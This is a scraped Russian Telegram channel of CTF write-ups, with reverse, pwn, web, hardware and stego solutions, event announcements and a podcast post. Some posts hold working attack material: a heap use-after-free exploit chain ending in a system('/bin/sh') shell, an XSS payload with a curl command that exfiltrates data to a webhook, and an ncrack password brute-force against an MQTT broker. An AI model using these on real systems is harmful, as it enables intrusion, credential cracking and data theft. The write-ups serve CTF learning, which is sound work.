Райтапы по CTF{2026}
3.82K subscribers
264 photos
26 videos
88 files
458 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
#duckerzctf2026 #Reverse

💎 Кристально ясное задание [клик]

На вход дан ELF-файл crystal_clear, на быстрый взгляд видно, что он чем-то запакован, похоже на UPX. Качаем последний UPX и пробуем распаковать:
$ ./upx -d cc
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2026
UPX 5.1.0 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 7th 2026

File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: cc: CantUnpackException: l_info corrupted

Unpacked 1 file: 0 ok, 1 error.


К сожалению получаем ошибку, проверим на обычные трюки по коррапту UPX'a (аналогично можно просто дампнуть бинарь в рантайме, что проще и не требует ничего восстанавливать, но так менее красиво смотреть на решение). Видим что upx magic value в хедере неверный, он не "UPX!", а "BOBA". Пробуем восстановить его заменив на UPX!, затем распаковать снова:
./upx -d cc
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2026
UPX 5.1.0 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 7th 2026

File size Ratio Format Name
-------------------- ------ ----------- -----------
589112 <- 192360 32.65% linux/amd64 cc

Unpacked 1 file


Нам повезло, всё распаковалось только поменяв magic value в хедере (ещё бы, таск ведь easy). Теперь смотрим на сам таск, оно просит нас инпут и затем выводит nope если инпут неверный. Найдём строку nope в IDA, и посмотрим референс на неё.

Как мы видим, XREF'ов на саму строку нет, но сверху, на полях информации (предполагается что библиотека/язык используют её как служебную инфу) есть xref, идём по нему и попадаем в main, на что-то типа проверки, отлично.

Как видим здесь v190 проверяется с v189, v190 берётся из unk_63ED0, а v189 - это наш инпут как-то преобразованный. Это единственный бренч в котором программа говорит nope. Что интересно, позже содержание v189 зачем-то используется, и после этого функция для вывода вызывается повторно. Что должно натолкнуть на мысль что то, что мы вводим не совсем флаг, да и длина сравниваемого всегда 32 байта, когда длина инпута неограничено, что значит функция преобразований - что-то в духе хэша или KDF, что вряд ли даст нам изначальную строку восстановить, так что попробуем пропатчить и понадеется на лучшее. Для этого поставим бряк перед IF'ом, и затем пропатчим v189 на содержание из v190. v189 находится как указатель в r12 на момент перед IF'ом, и сравнивается оно затем с: d0a7cd04c00a420d2f24a82f6ab8e16a5944334c6b69b53ebbf6771cc65b993a

По коду в проверке явно видим сравнение с числом 32, да и сам v189 похож на буффер в 32 байта судя по коду, значит вероятно эта строка - это шестнадцатеричное представление байт, а значит писать будем их в r12 как bytes.fromhex, для этого сделаем следующее, используя IDAPython (аналогично можно сделать в gdb):
idc.write_dbg_memory(idc.get_reg_value('r12'), bytes.fromhex('d0a7cd04c00a420d2f24a82f6ab8e16a5944334c6b69b53ebbf6771cc65b993a'))


После этого запустим программу дальше и посмотрим что произошло.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
15
#duckerzctf2026 #PWN

🤱 Девочка-волшебница [клик]

Нам дан классически таск на заметки. Мы можем создавать страницу, в которой можем создавать, редактировать, смотреть и удалять записи. Про функционал страниц сразу же забываем, он существует для отвода глаз и потому что в начале была крутая идея, но не воспользовался. Наша задача получить rce.

Уязвимость
Невооруженным взглядом можно обнаружить багу, при удалении записи, соответсвующий указатель не зануляется.
/*
* ♪ Удаляю записечку - прощай, старый секретик! ♪
* Освобождаю память заклинанием free~
*/
void delete_entry(int page_number) {
int entry_number;
printf("Какую записечку стереть? ♪ ");
scanf("%d", &entry_number);

if (entry_number < 0 || entry_number >= 32) {
puts("Нет такой записечки! ╮(╯_╰)╭");
return;
}

if (Diary.pages[page_number]->entries[entry_number] == NULL) {
puts("Тут и так ничего нет, глупышка~ (≧◡≦)");
return;
}

free(Diary.pages[page_number]->entries[entry_number]->content); /* Освобождаю память! */
free(Diary.pages[page_number]->entries[entry_number]);
}


План

Это значит, что мы можем освободить запись и все равно писать и читать из нее. Проще всего это взломать, создав страницу с контентом размера структуры (0x10), тогда мы сможем прочитать содержимое освобожденного чанка и переписать указатель в структуре, что позволит нам писать и читать в/на произвольные адреса.

Сетап
Аллоцируем страницу. Аллоцируем запись размера 0x10, освобождаем ее. Аллоцируем вторую страницу размера 0x10.
create_entry(io, 1, 0x10, b"x")
time.sleep(0.1)
delete_entry(io, 1)
time.sleep(0.1)
create_entry(io, 0, 0x10, b"x")

Теперь `entries[0].content == entries[1]

Лик хипы
Для начала нам нужно получить хоть какой то адрес. Для этого прочитаем запись 0, мы увидим там нечто похоже на адрес(последний байт мы переписали). Это так называемый [mangled adress](https://book.hacktricks.wiki/en/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.html). Не думаем, гуглим и находим [репу](https://github.com/mdulin2/mangle) для восстановления адреса.

Arbitrary read
Теперь мы можем написать в entries[0].content, переписать указатель на content и size и прочитать/записать в/на entries[1]

def arbitrary_read(addr: int) -> int:
edit_entry(io, 0, p64(8) + p64(addr))
time.sleep(0.1)
res = u64(read_entry(io, 1)[:8])
time.sleep(0.1)
return res

def arbitrary_write(addr: int, data: bytes) -> int:
edit_entry(io, 0, p64(len(data)) + p64(addr))
time.sleep(0.1)
edit_entry(io, 1, data)
time.sleep(0.1)


Лик либцы, стека, бинаря
Хотелось бы получить адрес либси. Для этого воспользуемся известной техникой: аллоцируем чанк в ансортед бин (любой чанк размера больше 0x511) и в нем появится указатель на либси. Теперь просто посчитаем оффсет до этого адреса и прочитаем его через arbitrary_read. Далее через другую известную технику ликаем адрес стека из environ, затем со стека ликаем адрес самого бинаря.

Взлом
Самый простой способ получить шел: вызвать system("/bin/sh"), для этого перешем plt free на system и освободим запись с текстом "/bin/sh\x00".

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
8😱53
#duckerzctf2026 #Web

🥪 Сэндвич 2 [клик]

Автор: @fakedesyncc

Расшифровка текста: Trust no iframe, even your own — подсказка в самом флаге.

---

## Суть уязвимости

1. На сайте sandwich.duckerz.ru есть виджет обратной связи — iframe с feedback.duckerz.ru/widget.
2. Родительская страница (sandwich) и виджет (iframe) общаются через postMessage.
3. Виджет может отправить родителю сообщение { type: 'REQUEST_SALARY_DATA' }, и родитель отвечает сообщением { type: 'SALARY_DATA', payload: ... } с данными зарплаты (и флагом).
4. В виджете можно выполнить свой код (XSS), если удаётся вставить его в контент, который там рендерится. Один из способов — отправить Complaint (жалобу) через API feedback с HTML/JS в поле message. Когда эта жалоба отображается в контексте виджета, выполняется наш скрипт.
5. Скрипт: подписаться на message, отправить родителю REQUEST_SALARY_DATA, в ответ принять SALARY_DATA и отправить payload на свой webhook.

---

## Шаги решения

### 1. Создать webhook

- Зайти на https://webhook.site и скопировать свой уникальный URL (или создать токен).

### 2. Подготовить XSS-пейлоад

Код должен выполняться внутри iframe виджета (origin feedback.duckerz.ru):

- Слушать событие message.
- Если e.data.type === 'SALARY_DATA' — отправить e.data.payload на webhook.
- Отправить родителю parent.postMessage({ type: 'REQUEST_SALARY_DATA' }, '*'), чтобы запросить данные.

Пример (подставить свой WEBHOOK):
<img src=x onerror="
window.addEventListener('message', function(e) {
if (e.data.type === 'SALARY_DATA') {
fetch('https://WEBHOOK.site/ТВОЙ-UUID?flag=' + encodeURIComponent(JSON.stringify(e.data.payload)));
}
});
parent.postMessage({ type: 'REQUEST_SALARY_DATA' }, '*');
">

Однострочник для отправки через API:
<img src=x onerror="window.addEventListener('message',function(e){if(e.data.type==='SALARY_DATA')fetch('https://WEBHOOK?flag='+encodeURIComponent(JSON.stringify(e.data.payload)))});parent.postMessage({type:'REQUEST_SALARY_DATA'},'*');">

### 3. Отправить пейлоад в обратную связь (не в note перевода)

- Эндпоинт: POST http://feedback.duckerz.ru/api/feedback
- Тело (JSON): {"category":"complaint","rating":1,"message":"<твой HTML с img onerror>"}

Важно: отправлять именно в обратную связь (Complaint/Bug Report), чтобы сообщение отображалось в виджете (iframe). В note перевода контент показывается на дашборде sandwich (родитель), а ответ с salary приходит в iframe — перехватить там из note нельзя.

### 4. Дождаться выполнения

Когда жалоба будет открыта в интерфейсе, где контент рендерится внутри виджета (iframe feedback), выполнится наш скрипт: уйдёт запрос к родителю, придёт SALARY_DATA, данные уйдут на webhook.

### 5. Забрать флаг с webhook

В запросе к webhook в параметре flag (или в теле) будет JSON с payload. В нём — флаг

---

## Пример через curl
WEBHOOK="https://webhook.site/ТВОЙ-UUID"
PAYLOAD='<img src=x onerror="window.addEventListener(\'message\',function(e){if(e.data.type===\'SALARY_DATA\')fetch(\''"$WEBHOOK"'?flag=\'+encodeURIComponent(JSON.stringify(e.data.payload)))});parent.postMessage({type:\'REQUEST_SALARY_DATA\'},\'*\');">'
curl -X POST "http://feedback.duckerz.ru/api/feedback" \
-H "Content-Type: application/json" \
-d '{"category":"complaint","rating":1,"message":"'"$PAYLOAD"'"}'

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
8
#duckerzctf2026 #Hardware

Утёнок в тумане [клик]

Автор: @hun7_0r_b3_hun73d

В задаче нам дается ссылка
mqtt://94.19.79.169:20012


1. Подключаемся к прослушиванию при помощи любого MQTT‑клиента. Я использовал mosquitto.
Команда:mosquitto_sub -h 94.19.79.169 -p 20012 -t '#' -v


MQTT работает по модели Publish‑Subscribe. То есть одни сущности публикуют информацию в конкретные топики, а другие могут получать эту информацию, подписавшись на нужный топик.
Также в нем есть Wildcard‑топик (#), который позволяет подписаться на все доступные топики.
Команда выше как раз выполняет подписку на все топики, которые есть в брокере.

2. Слушаем трафик. Пример того, что будет видно после подписки:
/sensors/humidity/data {"sensor": "humidity", "value": 28, "timestamp": 1770496341}
/sensors/pressure/data {"sensor": "pressure", "value": 20, "timestamp": 1770496342}
/sensors/humidity/data {"sensor": "humidity", "value": 22, "timestamp": 1770496348}
/announcements {"from": "Duck", "message": "duck_fan, where are you? quack!", "timestamp": 1770496349}
/sensors/pressure/data {"sensor": "pressure", "value": 27, "timestamp": 1770496349}
/sensors/humidity/data {"sensor": "humidity", "value": 22, "timestamp": 1770496353}
/sensors/pressure/data {"sensor": "pressure", "value": 30, "timestamp": 1770496378}
/announcements {"from": "Duck", "message": "i'm in /users/duck/secret", "timestamp": 1770496379}
/sensors/pressure/data {"sensor": "pressure", "value": 27, "timestamp": 1770496385}


Мы видим какие‑то данные датчиков + сообщение от утки, которая ищет пользователя duck_fan и говорит, что есть секрет в /users/duck/secret.

3. Из предыдущего шага можно понять имя пользователя, который нам нужен.
Если мы попробуем авторизоваться (при помощи флага -u duck_fan), брокер укажет на необходимость введения пароля.
Можно подобрать его подобной командой:
ncrack mqtt://94.19.79.169:20012 -user duck_fan -P ./rockyou.txt -v

В ответ получим, что пароль — iloveyou.

4. Авторизуемся с этим паролем:
-u 'duck_fan' -P 'iloveyou'

и получаем флаг.

Шаги 3–4 показаны на скриншоте.

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥119😱22
solve.py
3.2 KB
#duckerzctf2026 #STEGO

🌌 Мой путь [клик]
Ссылка на райтап
[клак] 🖱

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14421
#duckerzctf2026 #OSINT #УЦУЦУГА

ОМСКВА [клик]
Ссылка на райтап [клак] 🖱

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥2432
Forwarded from TaipanByte CTF
TaipanByte’s Chart CTF уже через 2 дня!🤩

В эту субботу начинается TaipanByte’s Chart CTF - онлайн соревнование в области информационной безопасности, открытое для всех желающих.

🟣Формат task-based
🟣Команды от 1 до 5 человек
🟣Время проведения с 13:00 14 февраля по 13:00 15 февраля (МСК).

Успейте зарегистрировать команду!
⚠️
Регистрация будет прекращена 14 февраля 2026 в 13:00 МСК вместе с началом соревнований.

Важные моменты:
🟡Задания ориентированы преимущественно на новичков.
🟡Каждый участник с ненулевым результатом получит сертификат об участии в соревновании.
🟡Каждое задание будет доступно сразу на 2 языках. Русском и английском.
🟡Призовой фонд - 30 000₽ к вашим выплатам на Standoff Bugbouny


➡️ Место проведения
➡️ Техническая поддержка

📱 Канал |🐍 CTF Платформа
Please open Telegram to view this post
VIEW IN TELEGRAM
11🔥33
Кто хочет кайфануть в Сочи, рекомендую залететь в топ 30!

Learning Bear в формате CTF (индивидуальный зачет).
28 февраля – 1 марта 12:00 МСК
Онлайн, участие возможно из любой точки России.

Топ-30 участников CTF получают гарантированное приглашение в финал Learning Bear в Сириусе на площадке НИЯУ МИФИ.

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥83
#TaipanByte

Репозиторий с райтапами от @iwtsysomf

Автор пишет, что райтапы будут обновляться, пока есть

- Hide
- Bar
- Roman's Prado
Ссылка на райтапы: [клик] 🖱

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
87
#TaipanByte

eXecutables

Автор: @bebrovsk123
Ссылка на райтап [клик]

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6
#standoff #hackbase

🖥 Компрометация учетной записи специалиста службы поддержки Commercial Bank of Standoff

Автор: @m0nr0e21

Ссылка на задание [клак]

Ссылка на райтап [клик] 🖱

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11621
Forwarded from ZeroNights
➡️ Райтапы с HackQuest ZeroNights 2025: часть 1️⃣

Делимся несколькими райтапами с прошедшего в прошлом году HackQuest. Это чтобы в течение трех выходных были не только хихиньки-хаханьки, но и serious business 🥰

🟢 Читать райтапы на Хабре 🟢

Напоминаем, что в этом году конференция по кибербезопасности ZeroNights пройдет 30 сентября в Санкт-Петербурге! И незадолго до мероприятия мы, конечно, проведем HackQuest, где каждый может попробовать решить CTF'ки и получить билет.
Please open Telegram to view this post
VIEW IN TELEGRAM
22
#TaipanByte

Sheet Music

Вариант 1.

Для ленивых, и кто к примеру не музыкант)

Питоном нормально не вытащить точные ноты по порядку и их длительности. Лучше всего конвертировать звук в midi.

Извлекаем оригинальный звук из видео

.\ffmpeg.exe -i notes.mkv -vn -acodec pcm_s16le output_audio.wav

Закидываем в онлайн конвертер звука в midi

https://www.bearaudiotool.com/mp3-to-midi

Полученный midi файл открываем в midi редакторе, например GuitarPro

Видим ноты, почти все они верные

Это Music Sheet Cipher

Идём на https://www.dcode.fr/music-sheet-cipher

Вбиваем ноты

При декодировании получаем много вариантов

#1  JMI8F?HF2R
#2  X?W8TNVT2D
#3  JMIWF?HFQ3
#4  9?8I5?75C3
#5  X?WiTNVTcD
#6  JMIiF?HFcR
#7  L?K?H?JH4T
#8  Z?Y?V?XV4F

Закидываем в Кибершеф и пробуем ROT13 с различными сдвигами

При сдвиге -1 и включении rotate numbers получаем такое

ILH7E?GE1Q
W?V7SMUS1C
ILHVE?GEP2
8?7H4?64B2
W?VhSMUSbC
ILHhE?GEbQ
K?J?G?IG3S
Y?X?U?WU3E

Видно слово MUS1C

Так же видно ILHVE, что похоже на ILOVE или IL0VE по смыслу

Далее перебрав варианты получаем флаг

IL0VEMUS1C

Вариант 2 (проще и без ROT). Так задумывал автор таска

https://www.dcode.fr/acere-cipher

Вбиваем ноты

При декодировании получаем много вариантов

(♪, ●)  WZ07SMUS1C
(●, ♪)  IL07E-GE1Q
(○, ♩)  WZAHS-USB2
(♩, ○)  ILNUE-GEO3
(LTS)  S-AHO-QOBW

Видно слово MUS1C

Так же видно IL07E, что похоже на IL0VE по смыслу

Автор: @Rean1mat0r

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
😱632
Forwarded from SSL
🚀 CyberNSK 2026 - главные соревнования по кибербезопасности в Сибири. Регистрация открыта!

🛡Siberian Security League совместно с НГТУ НЭТИ (кафедра защиты информации) запускают отбор на CyberNSK 2026 - шанс для школьников и студентов показать уровень в практической ИБ и выйти в очный финал.

Отбор (онлайн, 24 часа):
🗓️ 28 февраля - 1 марта
👥 команда до 5 человек
🌍 Новосибирск/область + приглашённые команды из других регионов РФ
💡 Формат: CTF (Jeopardy) - решаете задания и сдаёте флаги.
Баллы - по динамической системе: чем меньше команд решило задачу, тем она “дороже”.

Направления задач: web / crypto / reverse / pwn / forensics / stegano / OSINT / AI / hardware (и другие).

🏁 По итогам отбора лучшие команды получат приглашение на очный финал в апреле 2026 в формате attack-defense.
🏫 18–19 апреля - школьный этап
🎓 24–26 апреля - студенческий этап

Регистрация через бота: @CyberNSK_CTF_Bot
Please open Telegram to view this post
VIEW IN TELEGRAM
6
⚡️🎙 Выкладываем для вас 15-й выпуск подкаста «КапИБара»!

Возвращаемся в новом году с новым выпуском и новым гостем!
Поговорим про CTF с Никитой Петровым, автором канала «Райтапы по CTF» — что это вообще такое, с какими трудностями сталкиваются участники и организаторы, а также о различных смешных историях и многом другом.

Все аудио площадки где можно нас услышать - размещены здесь (на некоторых площадках подгрузка и стабильная работа осуществляется в течении 24-ёх часов).

Отдельно выделим наши флагманские площадки - Яндекс и Apple

+ появилась возможность слушать прямо в ТГ

Также в видео формате под приятную анимацию нас можно послушать на:

RuTube
YouTube
VK

Слушайте, оставляйте комментарии и советуйте друзьям 😁🎧

КапИБара. Подкаст нулевого дня. Подписаться
13🔥6😱3
Forwarded from Киберболоид
🐈 Хвостатые «инцидент-менеджеры» 🐕

Они встретят у точки входа в домашний периметр, поддержат при расследовании взлома и со стрессом справиться помогут. Домашние питомцы инфобезопасников часто по-настоящему незаменимы.

🟠 В новом материале «Киберболоида» мы провели перепись киберкотов и киберсобак, а также собрали забавные истории о каждом ИБ-хвосте.

#киберболоид #lifestyle
10🔥33